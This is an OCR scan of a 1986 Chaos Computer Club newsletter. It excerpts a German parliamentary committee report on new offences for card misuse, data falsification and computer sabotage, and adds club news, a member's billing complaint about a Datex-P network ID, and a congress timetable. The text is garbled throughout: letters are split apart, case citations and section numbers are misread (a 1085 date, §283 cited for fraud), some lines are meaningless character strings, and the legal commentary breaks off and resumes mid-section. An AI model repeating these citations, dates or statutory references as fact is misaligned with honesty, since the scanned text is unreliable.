geber und Arbe i tnehmer e invernehml ich verabre-

den, bei Lohnzah lungen keine Beiträge abzu führen 

(zum bisherigen Recht vgl. B G H wistra 1B82, 111). 

Da sich dies aus dem Wort laut der En twür fe bereits 

ergibt, ist eine zusätzl iche E rgänzung des Textes, 

wie dies von dem Sachverständigen S tah l schm id t 

in der öffentlichen A n h ö r u n g erwogen wurde (vgl. 

Pro t Nr. 28, Anl. S. 8), n icht erforderlich. Auch unter 

Berücksichtigung der im Wirtschaftsausschuß ge-

äußerten Krit ik an §288a S tGB ist der Ausschuß 

der Meinung, daß die Au fbr ingung der Mit te l der 

S o z i a l v e r s i c h e r u n g ebenso wie die des Steuerauf-

kommens eines besonderen strafrecht l ichen 

Schutzes bedarf. Davon geht schon das geltende 

Recht aus. 

Zu Artikel 1 Nr. 5 — § 288b S tGB — 

Der Rechtsausschuß empfiehlt m i t Mehrhe i t , e ine 

Strafvorschrift gegen den Mißbrauch von Scheck-

und Kreditkarten e inzuführen. 

Das Scheck- und Kreditkartensystem hat inzwi-

schen zu einer außerordentlichen Ausweitung des 

bargeldlosen Zahlungsverkehrs geführt und da-

durch eine erhebliche volkswirtschaftliche Bedeu-

tung er langt Das Scheckkarten ausstellende Kre-

ditinstitut garantiert hierbei die E in lösung von 

Schecks auf speziellen zur Scheckkarte ausgegebe-

nen Scheckformularen bis zu einem bes t immten 

Betrag (zur Zeit 400 DM) und n i m m t dam i t d em 

Schecknehm'er das Ris iko eines ungedeckten 

Schecks ab. 

Das Kreditkartengeschäft im Drei-Partner-System 

beruht auf dem gleichen Grundgedanken . Das Kar-

ten ausstellende Institut verpflichtet sich gegen-

über d e m Vertragsunternehmen, seine Forderun-

gen gegen dem Kar ten inhaber auszugleichen. Da-

bei ist es üblich, dem Vertragsunterr iehmen Jeweils 

unterschiedl iche Obergrenzen für e inzelne Ge-

schäfte zu setzen, bei deren Überschrei tung Ver-

tragsunternehmen bei Vorlage der Kred i tkar te e ine 

Genehm igung des Kredi tkarteninst i tuts e inho len 

müssen oder d ie Ein lösungsgarant ie verl ieren. Da-

neben ist auch das Zwei-Partner-System gebräuch-

lich. Hierbei r ä um t ein Un te rnehmen m i t der Kre-

di tkar tenausgabe se inem Kunden ledigl ich e inen 

für al le Fi l ia len gült igen Kundenkred i t ein. 
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Durch d ie neue Strafvorschrift soll der Fal l erfaßt 

werden , daß ein Scheck- oder Kredi tkarte nnehmer 

unter Verwendung der Kar te Waren kauf t und 

Dienst le is tungen in Anspruch n immt , obwohl er 

weiß, daß das Kredi t inst i tu t seine Rechnungen zu 

bezah len hat, und er selbst aber, z. B. nach e inem 

Vermögensverfa l l n icht mehr in der Lage sein wird, 

die Aus lagen zurückzuerstat ten. Bestraft werden 

soll die dadurch verursachte Vermögensschäd igung 

der Kredit inst i tute. 

Der Bundesger ichtshof ha t in e inem Urteil vom 

13. J u n i 1985, 4 S t R 213/85 ( B G H S t 33, 244) z um Kre-

d i tkar tenmißbrauch festgestellt, d aß eine solche 

Ta thand l ang n icht den Tatbestand der Untreue u nd 

des Betrugs erfülle. Al lerd ings hat der Bundesge-

richtshof in seiner Entsche idung vom 13. J u n i 1085 

unter Bestä t igung seiner En tsche idung vom 26. J u l i 

1972 ( B G H S t 24, 386) entschieden, daß ein Miß-

brauch der Scheckkarte durch den Kar ten inhaber 

den a l lgemeinen Betrugstatbestand nach §283 

S t G B erfülle. Er ha t hierbei darauf abgestellt, daß 

die Scheckkarte im Scheckverkehr vorgelegt werde 

und nur den zusätzl ichen Nachweis der Einlösega-

rantie erbringe, während die eigentl iche Hand l u ng 

mit Erk lärungswert d ie H i ngabe des Schecks sei. 

Insoweit bestehe kein wesensmäßiger Unterschied 

zu der E in lösung eines ungedeckten Schecks ohne 

Scheckkarte. Diese Rechtsprechung des Bundesge-

richtshofs wird vom Schr i f t tum bis heute m i t der 

Begründung heftig krit isiert, daß sie m i t d en Gege-

benhei ten des Scheckkartenverkehrs nicht im Ein-

klang sei. W ie bei der Vorlage einer Kredi tkarte 

brauche der Schecknehmer sich bei der Vorlage der 

Scheckkarte bis zur garant ierten S u m m e über d ie 

Kredi twürd igkei t des Scheckausstellers keine Ge-

danken zu machen und werde das in der Regel auch 

nicht tun . Die Voraussetzungen des Betrugstatbe-

stands, n äm l i ch der für die Vermögensverfügungen 

ursächl iche I r r tum, s ind deshalb In d iesen Fäl len 

n icht gegeben. Anges icht« dieser Kr i t i k aus dem 

Schr i f t tum ist davon auszugehen, daß die Entschei-

d u n g ¿es Bundesger ichtshofs auf Daue r schwerl ich 

Bestand haben werde. 

I m Rechtsausschuß ist umstr i t ten , ob der darge-

stellte M ißbrauch von Scheck- und Kred i tkar ten 

s t ra fwürd ig i s t Nach Au f fassung der Mehrhe i t 

weist die dargestel l te Ta t hand l ung gegenüber dem 

geltenden Untreueta tbestand einen ähn l i chen so-

zia lschädl ichen Kr im ina l i t a t sgeha l t auf . De r neue 

Straf ta tbestand sei z um Schutze der Funkt ionsfä-

higkeit des bargeldlosen Zah lungsverkehrs , der 

e ine volkswirtschaft l iche Bedeu tung er langt habe, 

notwendig. 

Die Minderhe i t lehnt d ie neue Strafvorschri f t ab. 

Sie ist der Auffassung, daß die Verwendung der 

Scheck-, vor a l lem der Kredi tkarten, a l lgemein kei-

neswegs so positiv e inzuschätzen sei. d a das Kredit-

und Scheckkartensystem die Gefahr e iner Über-

schuldung der Inhaber in sich berge, w ie es sich in 

den USA gezeigt habe. Vor al lem würde m i t dem 

Straf tatbestand in systemwidriger Weise die Verlet-

zung von Vertragspfl ichten strafrechtl ich sanktio-

niert u n d der notwendige Rechtsschutz sei durch 

das Zivi lrecht gewähr le is te t Insbesondere sei es 

Au fgabe der Kredit inst i tute, sich durch e ine ent-

sprechende Ausgesta l tung der Rechtsbez iehungen 

zu den I nhabe rn der Scheckkarten u nd Kreditkar-

ten u n d zu den Vertragsf i rmen sowie durch eine 

sorgfält ige Prü fung der Kred i twürd igke i t ihrer 

Kunden zu schützen. 

Einigkeit bestand im Ausschuß, daß keine Notwen-

digkeit bes teh t den Tatbestand auf andere Fäl le 

von Mißbräuchen, insbesondere auf den Gebrauch 

von Scheck- und Kredi tkarten durch Nichtberech-

tigte auszudehnen. Die Anwendung des Betrugstat-

bestandes reicht hier aus. 

Zu der Ausgestaltung der von der Mehrhe i t be-

schlossenen Strafvorschrift ist zu bemerken: 

Absatz 1 lehnt sich in seiner Einzelausgestal tung 

eng an den Mißbrauchstatbestand des § 266 S tGB 

(Untreue) an. Durch die Wendung „. . . die i hm durch 

die Überlassung einer Scheckkarte oder einer Kre-

ditkarte e ingeräumte Mögl ichkeit , den Aussteller 

zu einer Zah lung zu veranlassen" wird der Täter-

kreis auf berechtigte Kar ten inhaber eingegrenzt 

und auch die Garant ieerklärung, die m i t der Über-

lassung der Karte verbunden ist, beschrieben. Zah-

lung ist dabei 'n icht nur im rein technischen S inne 

als Hingabe von Bargeld zu verstehen, sondern 

auch als Geldleistung im Verrechnungswege. Die 

Begriffe Scheck- und Kreditkarte haben im Wirt-

schaftsleben einen so feststehenden Bedeutungsin-

halt, daß sie als Tatbestandsmerkmale ausreichend 

best immt sind, zumal auf die ihnen notwendiger-

weise z ukommende Garant ie funkt ion Bezug ge-

nommen wird. 

Die mi t der Überlassung der Scheck- oder Kredit-

karte e ingeräumte Mögl ichkei t muß der Täter „miß-

brauchen". Das Mißbrauchsmerkmal entspr icht 

dem des § 266 Abs. 1 1. Alternative S tGB . Der Täter 

hält sich dabei nach außen im R a h m e n seines 

rechtlichen Könnens , überschreitet aber im Innen-

verhäl tn is zu dem Kartenherausgeber die Grenzen 

seines rechtlichen Dürfens. Mißbrauch der Scheck-

karte liegt z. B. immer dann vor, wenn der Täter 

e inen Scheck hingibt, dessen Ein lösung zwar von 

seinem Kredit inst i tut garant iert ist, für den auf sei-

nem Konto aber keine Deckung oder kein ausrei-

chender Kred i t vorhanden i s t Bei der Kredi tkarte 

liegt ein Mißbrauch z. B. d ann vor, wenn der Täter 

m i t der Verwendung der Kar te gegen seine aus dem 

Kreditkartenvertrag resultierenden Pfl ichten ver-

s töß t insbesondere, wenn er Verpfl ichtungen ein-

g e h t obwohl die Einkommens- und Vermögensver-

hältnisse den Kontoausgleich nicht gestatten oder 

er selber n icht für ausreichende Deckung Sorge ge-

tragen h a t 

Wie bei § 266 S tGB setzt das Mißbrauchsmerkma l 

weder generell voraus, daß dem Kar ten inhaber für 

einzelne Geschäfte ein L im i t gesetzt ist (so in sei-

ner W i r kung die Scheckkartengarant ie) , noch daß 

ein ze i tabhängiger (etwa monat l icher) Höchstrah-

men vorgeschrieben wird, noch daß eine absolute 

Kreditobergrenze vereinbart i s t Anderenfal ls wä-

ren Verhaltensweisen, über d ie der Bundesgerichts-

hof j üngst zu entscheiden hatte, weiterhin straflos. 

Der Mißbrauch der Kred i tkar te m u ß schließlich zu 

einer Schäd igung des Kartenherausgebers führen . 

Dam i t soll die Parallele z um Betrugs- und Untreue-

tatbestand gewahrt Vierden, da durch den neuen 

Tatbestand lediglich eine Lücke geschlossen wer-

den soll, die bei der A n w e n d u n g dieser Best immun-

gen offenbar wurde. Es m u ß sich daher bei d em 

Schaden u m einen Vermögensschaden hande ln . 

Das Schadenserfordernis engt darüber h i naus das 
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Mißbrauchsmerkmal weiter ein. Ist der Täter an-

derweitig bereit und in der Lage, die Überz iehung 

sofort oder jedenfalls unverzügl ich auszugleichen, 

so liegt ein Schaden — ebenso wie beim Untreuetat-

bestand, der dem neuen Tatbestand in diesem 

Punkt entspricht — nicht vor. Unter diesen Voraus-

setzungen wird auch der neue Tatbestand des 

Scheckkartenmißbrauchs n icht anzuwenden sein, 

wenn der Täter gelegentlich sein Konto durch Be-

gebung von Schecks über die i hm eingeräumte Kre-

ditgrenze h inaus belastet 

Der Täter muß vorsätzlich handeln , der Vorsatz 

m u ß sich auf sämtl iche Tatbestandsmerkmale be-

ziehen. Derjenige, der bei Scheck aussteliung oder 

Verwendung der Kreditkarte noch nicht weiß, daß 

er seinen Verpfl ichtungen später nicht wird nach-

kommen können, kann daher auch nach dem neuen 

Tatbestand nicht bestraft werden. Darüber h inaus 

handel t auch derjenige unter Umständen noch 

n icht vorsätzlich, der zwar von der Deckungslosig-

keit seines Kontos bei Begebung des garant ierten 

Schecks weiß, aber m i t Vermögensausgleich in kür-

zester Zei t rechnet 

Absau 2 erklärt entsprechend §266 Abs .2 S tGB 

§248a (Antragserfordernis bei geringem Schaden) 

für entsprechend anwendbar . 

Zu Art ikel 1 Nr. 6 — § 269 S tGB — Fä lschung 

beweiserheblicher Daten 

Die E in führung eines besonderen Tatbestandes ge-

gen die Fä lschung beweiserheblicher Daten wi rd 

vom Ausschuß für notwendig erachtet. Da fü r s ind 

die bereits im Regierungsentwurf , in der öffentli-

chen Anhörung sowie in den Ausschußberatungen 

vorgebrachten Gesichtspunkte maßgebend. V o m 

Tatbestand der Urkundenfä lschung werden unbe-

fugte E ingaben z. B. von Computerdaten bzw. unbe-

fugte Veränderungen von bereits gespeicherten Da-

ten, die, wenn sie in ein Schriftstück au fgenommen 

wären , eine Urkundenfä lschung darstellen würden , 

mange ls Erkennbarke i t der E rk l ä rung nicht er faßt 

Für die Anwendung des §267 S t G B reicht die 

leichte E insehbarke i t in Dateien über Bildschirm-

termina ls alleine nicht aus. Di»? Urkundeneigen-

schaft kann auch mangels AusstcDerangabe entfal-

len. Solchen Daten fehlt daher d ie von §267 S t G B 

vorausgesetzte Urkundenqual i tä t . Der Straftatbe-

stand des §268 S t G B (Fälschung technischer Auf-

ze ichnungen) erfaßt nur Teilbereiche. Ohne eine Er-

g än zung des Strafrechts würde daher die Umstel-

l ung verwal tungsmäßigen Hande lns auf die Daten-

verarbe i tung den bisher bei Schri f tstücken beste-

henden strafrechtl ichen Urkundensch ut2 unge-

rechtfert igt verkürzen. Bei den Verwendungsmög-

l ichkei ten der Datenverarbei tung reicht für e inen 

w i r k samen Schutz auch die Tatsache nicht aus, d aß 

Verarbe i tungen zu- Computerausdrucken führen 

können , denen Urkundenqua l i t ä t beizumessen ist 

und die bei (mittelbarer) Vornahme, z. B. von Einga-

ben oder nachträgl ichen Veränderungen durch 

n icht Berechtigte, deshalb als Urkunden fä l schung 

i. S. von § 267 S tGB qualif iziert werden können . I n 

vielen Fäl len werden entscheidungserhebl iche Da-

ten direkt aus dem Computer zur (maschinel len) 

Wei terverarbe i tung benutzt, wie dies besonders im 

Bank-, Rechnungs- und Zah lungsverkehr deutl ich 

wird . 





unternehmen bzw. in Anlagen (einschließlich Da-

tenträgern) gespeichert sind, welche die für die 

Funktionsfähigkeit von Unternehmen bzw. Behör-

den zentralen Informationen enthalten. Sabotage-

akte von untergeordneter Bedeutung fallen hier-

durch bereits von vornherein nicht unter den Tatbe-

stand; Beeinträchtigungen der Funktionsfähigkeit 

von elektronischen Schreibmaschinen oder Ta-

schenrechnern werden dadurch ausgeschieden. Für 

die Anwendung des Tatbestandes ist eine bloße Ge-

fährdung der Datenverarbeitung nicht ausreichend; 

vorliegen muß vielmehr eine nicht unerhebliche Be-

einträchtigung des reibungslosen Ablaufs der ge-

nannten wesentlichen Datenverarbeitung. Eine Stö-

rung des Betriebes wie in § 316 b StGB wird jedoch 

nicht gefordert; eine zu starke Einengung des Tat-

bestandes soll dadurch vermieden werden. Nicht 

strafbar macht sich nach §303b StGB derjenige, 

welcher durch Handlungen nach Nummern 1 oder 2 

nur seine eigene Datenverarbeitung stört Greift er 

hierbei in fremde Rechte ein, kann er insoweit nach 

§ 303 bzw. 303 a StGB bestraft werden. 

Hinsichtlich der einzelnen Angriffsmittel unter-

scheidet Absatz 1 zwischen verschiedenen Tatob-

jekten. 

Nummer 1 nennt als Sabotagehandlung eine rechts-

widrige Datenveränderung i. S. von § 303 a Abs. 1 

StGB. Eine Tat nach Absatz 1 Nr. 1 stellt insoweit 

eine Qualifikation zu § 303 a StGB dar. 

Nummer 2 knüpft bei der Nennung weiterer an Da-

tenverarbeitungsanlagen oder Datenträgern began-

genen Sabotagehandlungen am Tatbestand der 

Sachbeschädigung (§ 303 StGB) und an Sabotage-

straftatbestände des Strafgesetzbuches an (§ 87 

Abs. 2 Nr. 2; § 100 e Abs. 1: § 145 Abs. 2 Nr. 2; §§ 316 b, 

317), womit auch eine Angleichung an Nummer 1 

i. V. m. den in § 303 a StGB genannten Tathandlun-

gen erfolgt Die Begriffe „Zerstören" und „Beschädi-

gen" decken sich mit denen des § 303 StGB. Die 

genannten Gegenstände sind „beseitigt", wenn sie 

aus dem Verfügungs- oder Gebrauchsbereich des 

Berechtigten entfernt sind. Sie sind „unbrauchbar", 

wenn ihre Gebrauchsfähigkeit so stark beeinträch-

tigt wird, daß sie nicht mehr ordnungsgemäß ver-

wendet werden können, und „verändert", wenn ein 

vom bisherigen abweichender Zustand herbeige-

führt wird. Der Ausschuß hat sich dafür entschie-

den, die Nummer 2 nicht nur als qualifizierte Sach-

beschädigung auszugestalten. Auch dann, wenn 

sich die einzelnen Tathandlungen gegen eigene 

Sachen richten, soll die Nummer 2 anwendbar sein, 

wenn dadurch die wesentliche Datenverarbeitung 

eines dem Täter nicht gehörenden Unternehmens 

oder einer Behörde gestört wird. Für die Nummer 1 

lassen sich ähnliche Ergebnisse durch eine entspre-

chende Auslegung des § 303 a S tGB erreichen, 

Absatz 2 

Wie bei den §§ 303,303 a S tGB und den Sabotagetat-

beständen der §§ 316 b, 317 S tGB wird der Versuch 

für strafbar erklärt 
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§ 303 / I is . J; § 303 c StGB — Strafantrag — 

Wie der bisherige § 303 S tGB werden die §§ 303 a 
und 303 b S tGB grundsätzl ich als Antragsdel ikt 
ausgestaltet Ausnahmsweise kann in Fä l len beson-
deren öffentlichen Interesses e in Strafverfahren 
auch ohne Strafantrag durchgeführt werden. Die 
Identität der Regelung für die §5 303 bis 303 b S tGB 
hat den Ausschuß bewogen, diese im Anschluß 
daran in einen neuen §303 c S tGB au fzunehmen 
(vgl. als Parallele § 205 StGB). Die Au fhebung des 
§ 303 Abs. 3 StGB stellt dazu eine Folgeänderung 
dar. 

Kurzmeldungen 
(Bi ld: Harald , aus taz) 

Atom-Kataster 
Ein störsicheres Strahlungsmeßprogramm 
auf Heimcomputern wie V C 2 0 und C 6 4 fahren 
mehrere Bürgerinitiativen. Derzeit werden erst 
ein paar der bundesdeutschen Atomkraft-
werke überwacht. 

Vor Tschernoby l wurden d iese mit Compute rn 
arbe i tenden Init iat iven oft genauso argwöh-
nisch betrachtet wie d ie A tomkra f twerke . Jetzt 
ist das Verhäl tn is entspannt. 
Als Hardware vor Ort dient ein V C 2 0 mit Da-
tasette, Drucker, Echtzei tuhr, Netz- und Bat-
ter iebetr ieb. 
A m Useroort hängen Meßfüh ler für Wind, Wet -
te r und St rah lung. 
Ein C64 bildet das örtliche Kleinarchiv, eine 
520er Aufrüstung teils In Planung. 
Zum mobilen Meßkit gehört Kompaß mit Vi-
siereinrichtung auf Kamerastativ: Kühlturm 
bekannten Formats anpeilen, dann Standort-
bestimmung auf Meßtischblatt. 
Wettermessung ist eine wichtige Vorausset-
zung für verläßliche Strahlungsdaten. Fein-
mechaniker stellten benötigte Präzisionsteile 
bei befreundeten Firmen her. 
Der Batteriebetrieb ermöglicht nahezu stö-
rungsfreien Betrieb auch bei Ausfällen des 
Stromnetzes. 
Meßda ten we rden archiv iert u n d bundeswei t 
ausgewer te t . 
Derzeit b i lden s ich an versch iedenen anderen 
Standor ten de r Kernspa l tung in den Bürgeri-
nit iat iven wei tere Meß-In i t ia t iven mit d e m Ziel, 
ein bundeswe i tes öf fent l iches Atomkatas ter 
zu erstel len. (c rd8606291700) 
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Parto/Verp. 

(Bild umgesägter E-Mast) 
Sti l lstand nach Stromausfal l 
"Sägende Sofortabschalter", die - abgesehen 
von dar Gesetzeslage - teilweise ziemlich 
leichtsinnig Strammasten umlegen (immerhin 
AKW-Notabschalttest, dazu zehntausende 
Volt Schrittspannung) veranlaßten kürzlich 
einige Hamburger Großrechenzentren, ihre 
Wiederanlauffähigkeit nach Kurzzeitstro-
mausfall zu testen. Bei zumindest zwei Re-
chenzentren erwies sich das System als ver-
besserungsbedürftig. (crd8606291702) 
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F ü n f J a h r e C h a o s — E n d e o-f-fen 

V o r g e n a u 5 J a h r e n ( 1 1 . / 1 2 . S e p t e m b e r 

1 9 8 i ) f a n d i n B e r l i n d a s e r s t e 

T r e f f e n d e s CCC s t a t t . " M i ß t r a u t 

A k t e n t a s c h e n u n d K a r t o n s " w a r d i e 

ü b e r s e h r i f t e i n e r B e r I i n e r 

T a g e s z e i t u n g d a m a l s . 

S e i t F r ü h j ä h r 1 9 8 4 g i b t e s d i e 

d a t e n s c h l e u d e r . A n g e f a n g e n h a t e s m i t 

v i e r S e i t e n A 4 , d i e j e t z i g e A u s g a b e 

um-f a ß t i m m e r h i n 1 6 S e i t e n . D i e k l e i n e 

S e h r i f t ( d i c h t g e p a c k t e I n f o r m a t i o n ) 

b r a c h t e G e r ü c h t e , w i r w ü r d e n v o m 

O p t i k e r v e r b a n d u n t e r s t ü t z t . D a s 

r e g e l m ä ß i g e E r s c h e i n e n w u r d e t r o t z 

g u t e r V o r s a t z e b i s h e r n i c h t e r r e i c h t t 

g e l e g e n t l i c h w u r d e d i e d s s c h o n 

t o t g e g l a u b t . 

Eintreffende Briefe mit bösen 
Forderungen und Drohungen zB wegen 
"Ni cht1i eferung" von Abo usw. werden 
mit Verweis auf das Chaos und 
Rückerstattung beantwortet. Die ds 
erscheint öfter, wenn konstruktivere 
Textbeiträge hier eingehen. Wir tun 
unser bestes, auch wenn es manchen 
nicht reicht. Finanzielle Bereich-
erung , wie Unwissende unterstellen, 
liegt nicht vor. Wir brauchen im 
Gegenteil Spenden. Es gibt kaum noch 
Zeitschriften, di© nicht von Werbung 
abhängig sind, 

Di 9 d a t e n s c h l e u d e r i s t von L e s e r n 
a b h ä n g i g und f r e u e n uns ü b e r j e d e 
U n t e r «s tü tz u n a . d s - r e d . 

NUI OFF 
Welcher Kopple rbesitzer hat noch nicht mit dam Gedanken 

gespielt sich auch einmal im Dalex P-Netz der Deutschen 
undespost zu versuchen ?1 So auch ich. Also nichts wi« ran 

ans Telefon, Fernmeldeamt angerufen und ein Antragsfor-
mular für eine Network-User-Idsntifikation (NUI) beantragt. 
Nach zwei falschen Antragsformularen kam dann auch nach 
ca. 10 tagen daß heißersehnte Papier, Ausfüllen und wieder 
abschicken wurde auf der Stelle erledigt. Als die NUI dann 
nach einiger Zeit per Einschreiben zugestellt wurde, konnte 
ich es gar nicht abwanen den Rechner einzuschalten. Kurz 
nochmal die mitgespeicherte Datex P-Anleitung einer der 
Maifboxen 'durchgelesen, ein paar NUA's (Network-User-
Adress) aus derselben Mailbox notiert, und dann gings los, 
Doch was ist das ?? Da will doch dieser blöde Rechner, der 
in diesem Fall in England stand, auch noch einen Usernamen 
und ein Passwort wissen. Nach einigen Fehlversuchen pro-
bierte ich es in den USA. aberdie wollten ihre Daten auch nicht 
kostenlos herausgeben. Da stand ich nun mit meinem Latein 
und meiner NUI. Da mein© Englischkenntnisse auch nicht 
gerade die eines Engländers waren, gab ich es erstmal wieder 
auf. Ich sagte mir, die 15 DM im Monat ward ich auch noch 
verkraften, vielleicht lern ich in sachen Datex ja nochmal was 
dazu, und dann könnte ich die NUI sicher nochmal gebrau-
chen. Als ich nun nach zwei Monaten immer noch kein® 
Gebührenabrechnung vom Fernmeldeamt bekommen hatte, 
wunderte ich mich zwar, dachte mir aber nichts dabei. Der 
große Schock kam erst nach gut drei Monaten. Und zwar in 
Form einer Fernmelderachnung über 1090.13 DM. Da mußte 
ich erstmal schlucken. Als sich die ersten Schluckkrämpfe 
gelegt hatten rief ich natürlich sotort bei der Fernmelderech-
nungsstelle an um die Rechnung überprüfen zu lassen. Die 
Dame am Telefon wusste allerdings nichts von so einer 
Rechnungssumme. Lediglich eine Summe von ca. 80.- DM sei 
ihr bekannt. Nun, das hörte sich ja schon ganz gut an, mit etwa 
so einer Summe hatte ich auch gerechnet Doch plötzlich 
verwandelte sich meine Erleichterung in die bekannten 
Schiuckstörungen. Die freundliche Dame teilte mir mit daß da 
nachträglich noch etwas Von Hand' auf meiner Rechnung 
geändert worden wäre (was immer das auch heißen mochte). 
Sie verwies mich dann an die zuständige Stelle für Datex-P. 
Die konnten mir aber leider auch nicht helfen, wollten aber, 
wenn ich gleich vorbeikommen würde, meine NUI noch am 
selben Tag sperren. Ich also hin, NUI zu sofort gekündigt und 
gefragt was ich denn nun machen könne. Man sagte mir daß 
man versuchen wollte die Gebühren zu überprüfen. Mit der 
Versicherung daß die NUI noch am gleichen Tag gesperrt 
würde fuhr icn also wieder nach Hause. Al3 ich nach etwa einer 
Woche immer noch nichts vom Fernmeldeamt gehört hatte 
kam mir Samstagnachmittag beim Frühstücken der Gedanke 
mal den Päd anzurufen und die NUI auszuprobieren. Ich 
dachte mich tritt ein Pferd.:Teilnehmerkennung DTAMMANY 
aktiv III Daraufhin probierte ich natürlich noch mehrere Male 
und bekam bis Montagmorgen noch die Aktivmeldung. Auf 
den sofortigen Anruf beim Fernmeldeamt wurde mir geant-
wortet daß man NUl's nur von Sonntag auf Montag sperren 
könne und am letzten Sonntag die dafür benötigten 'Spei-
cherplätze' schon belegt gewesen wären.... Nach ca. vier 
Wocnen bekam ich dann einen Anruf vom Fernmeldeamt in 
dem man mir mitteilte daß mir die Gebührenaufstallung die ich 
beantragt hatte nicht zustellen könne, mir bliebe aber frei-
gestellt die Aufstellung im Amt einzusehen. Jenes würde aber 
nochmal zwei wochen dauern, da die Aufstellung noch nicht 
da sei. Nach abermalsdrei Wochen klingeltedann endlich das 
Telefon. Ziemlich kleinlaut erklärte mir die Dame am Apparat 
daß man angewiesen worden wäre mir 990.- DM zu erstatten, 
da im Datex-System ein Softwarefehlar gewesen wäre. Was 
das nun ist wußte sie natürlich nicht und sie hatte von Datex-P 
natürlich auch keine Ahnung, da müßte ich mich schon an die 

dafür zuständige Stelle wenden Ich legte dann auf und 
dachte darüber nach was wohl einige größere Firmen ge-
macht haben die diesem 'Softwarefenler zum Opfer fielen ? 
So ein Fehler tritt ja nicht nur bei einem auf. Ich nehme an sie 
haben ihren Mitarbeitern gesagt sie sollen nicht soviel tele-
fonieren (wenn ihnen die erhöhte Summe überhaupt aufge-
fallen Ist) und haben ohne zu zögern die Rechnung bezahlt. 
nuioff.wa 19860418 1900 SSB/Sy 
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Kongressfahrplan 

Samst»g 27. Dezember (Auftautag) 

Für Techniker, Referenten und Unterstützer 

K l 6PATCTBÂ 
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TO TEST 

TO A I X P Q M O 

T E T P A f Q N O 

Sonntag 28. Dezember (1. Congresstag) 

09:00 Einlass für Mitarbeiter, Techniker und Refe-
renten 
09:30 Abnahme der Räume (letzter Sicherheit-
s Check) 
10:00 TOR!: Einlass fürGäste. Öffnung. 
HACK-CENTER: Technik al la Cart' 
CHAOS-CAFE: Frühstück und Cafe 
TR.EFF: Raum für Gesprächsgruppen (bitte anmel-
den) 
ARCHIV: Fotokopiererund viel Papier 
B1LD&FUNK: Datenfunk und Bildschirmtext 
11:00 THEATER: Eröffnungsansprache. Hinweise 
zum Ablauf 
11:30 TREFF: Infotreff für die Presse (max. 30 Min.) 
12:00 TH EATER: Sichere Kopplung an das Postnetz. 
Was läuft 
bei der Post; Prüfverfahren. Verhalten bei Haus-
durchsuchungen. (Workshop BHP,CAC,CCC) 
13:30 THEATER: Parlakom - das Parlament am 
Netz. 
Camputer im Bundestag (Vortrag der Hamburger) 
14:30 THEATER: Die Computer Artists Cologne 
stellen sich vor. 
14:30 TREFF: Datenfernübertragung für Anfänger 
(Workshop) 
15:30 THEATER: PC-Virenforum (Workshop 
BHP.CCC undGäste) 
- Was sind Computerviren? (Vortrag) 
- Wie arbeiten Viren? (prakt. Demo) 
- Gibt es einen Schutz vor Viren? (Workshop) 
- Umgang mit Viren, Ausblick (Diskussion) 
18:30 Ende 
18:50 THEATER: Video Uber den letzten Congress 
(bis 20:20) 
19:00 TREFF: Organisationsgespräch der Projektlet-

ter 
19:30 Schliessung der Räume. Alle gehen ins Theater. 
20:00 THEATER: Hinweise auf das Programm vom 
Montag, 
Übernachtungsmöglichkeiten,... 
20:30 Tagungsende 
21:00 Schliessung der Räume (Wachdienst) 

Montag 29. Dezember (2. Congresstag) 

08:00 Aufklaren der Räume durch Nachtschicht 
09:00 Einlass der Mitarbeiter, Raumabnahme 
09:30TORI: Einlass fürGäste. Öffnung. 
10:00 THEATER: Programmvorschau 
10:30 THEATER: Kompromittierende Abstrahlung; 
Abhören 
von Monitoren und Fernsprechern. (Workshop 
BHP.CCC) 
11:30 TH EATER: Frühschoppen 
Fünf Hacker aus sechs Ländern (in Englisch) 
13:00 TREFF: Pressetrefr (CCC.CAC.BHP und Gä-
ste) 
13:00 TH EATER: Resümee des Sysoptages vom letz-
tem Congress. 
Kurz zu InterpoolNet. Hinweise auf Workshops. 
14:00 THEATER: Informationen zum Netzverbund 
FI DO-NET 
14:00TREFF: Auswirkungen des 2. WiKg. 
Workshop auch über "Hacker-Jäger" (BHP) 
15:00 THEATER: Desktop Puplishing - die Zeit-
schrift vom 
Schreibtisch. Am Beispiel des Genethischen Informa-
tionsdienstes. (Vortrag) 
15:00 TREFF: Regionale Vernetzung von Mailboxen, 
Serversystem 
(Vortrag und Demo CAC) 
16:00 THEATER: Noch offen 

16:30 TREFF: Btx als preiswerter Datenserver. Vor-
schlag 
zum Datenaustausch für Mailboxsysteme. (Idee) 
17:00 TREFF: Mailboxen - neue Konzepte (Refc-
rat&Diskussion) 
18:00THEATER: Abschlussansprache, Ausblick 
20:00 Schliessung der Räume für Gäste 
21:00 Abbau der privaten Technik (geordneter Rück-
zug) 
22:00 Schliessung der Räume (Wachdienst) 

& £ 

Wo ist der CCC? 
Zur Lage der Chaos Communication Center 

f é 
Informations 

Der CCC bietet seiner Mitgliedern zwei Möglichkei-
ten zur elektronischen Kommunikation an: 

I. Die INFEX-Mailbox (über DATEX-P) 

Für eine Eintragungsgebühr von DM 20,- sowie eine 
monatliche Mindestnutzungsgebühr von DM 8,- wird 
die Nutzung eines GEONF.T-Systems angeboten. 
Auf diesem kommerziell genutzten System haben die 
Mitglieder den üblichen Komfort eines GEONET-
Systems. Dazu zählen: Mitteilungsversand im GEO-
NET, Telexzugang und Abfrage von Datenbanken 
usw. Aus Kostengründen wird die elektronische DA-
TENSCHLEUDER in Zukunft „kostenpflichtig" im 
GEONET abzurufen sein. Es ist dem CCC nicht 
möglich, weiterhin die hohen Aufwendungen zur In-
formationsgestaltung zu bezahlen. Diese Beweg-
gründe stehen auch hinter der Entscheidung, wesent-
liche Teile der Clubkommunikation auf die Hambur-
ger CLINCH-Box zu verlegen. Im Wesentlichen be-
stehen jedoch weiterhin die in der DS16 erwähnten 
Leistungsmerkmale. Es ist immer noch unklar, wann 
die INFEX-Box über einen Telefonport erreicht wer-
den kann. Wir empfehlen die Teilnahme am INFEX-
System all denen, die für ihren Kommunikation einen 
TELEX-Zugang benötigen und die Vorteile eines 
Mehrportsystemes zur reibungslosen Kommunika-
tion brauchen. 

Hier kurz die Nutzungskosten der INFEX im Rah-
men der CCC Nutzung: (Mitgliedschaft im CCC so-
wie Erteilung einer Einzugsermächtigung) 
Eintragung einmalig DM 20,-
Mindestnutzung für mtl. DM 8,-
je Verbindungsminute DM -,l 5 ! 
je Nachricht DM -,07 ! 
je Telefonalarm DM -,80 ! 
Telex, Datenbanken und InterMail-Vermittlungen 
extra. 

! (Diese Preise werden bei negativer Feststellung der 
Gemeinnützigkeit des CCCeV noch mit der Mehr-
wertsteuer belegt.) 

Monatlich werden die angefallenen Nutzungskosten 
berechnet und eingezogen. Die Kündigungsfrist be-
